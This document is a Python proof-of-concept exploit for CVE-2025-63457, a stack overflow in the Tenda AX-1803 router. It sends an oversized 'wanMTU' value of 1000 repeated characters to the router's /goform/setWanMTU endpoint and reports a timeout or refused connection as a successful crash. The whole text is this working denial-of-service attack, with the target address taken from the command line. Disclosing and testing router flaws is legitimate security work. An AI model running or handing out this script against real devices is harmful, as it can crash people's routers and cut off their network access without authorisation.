CVE-2025-63457

#!/usr/bin/env python3 """ CVE-2025-63457 PoC - Tenda AX-1803 Stack Overflow via wanMTU parameter This PoC demonstrates the stack overflow vulnerability in Tenda AX-1803 v1.0.0.1 """ import requests import sys TARGET_IP = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 PAYLOAD_SIZE = 1000 # Overflow payload size def create_exploit_payload(): """Generate overflow payload for wanMTU parameter""" # Create a long string to overflow the stack buffer overflow_string = "A" * PAYLOAD_SIZE return overflow_string def check_vulnerability(): """Check if target is vulnerable""" target_url = f"http://{TARGET_IP}:{TARGET_PORT}/goform/setWanMTU" payload = { "wanMTU": create_exploit_payload() } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size: {PAYLOAD_SIZE} bytes") response = requests.post(target_url, data=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully") print("[!] If device becomes unresponsive, vulnerability is confirmed") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - device may have crashed (DoS triggered)") except requests.exceptions.ConnectionError: print("[!] Connection failed - device may be down (DoS triggered)") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] check_vulnerability()

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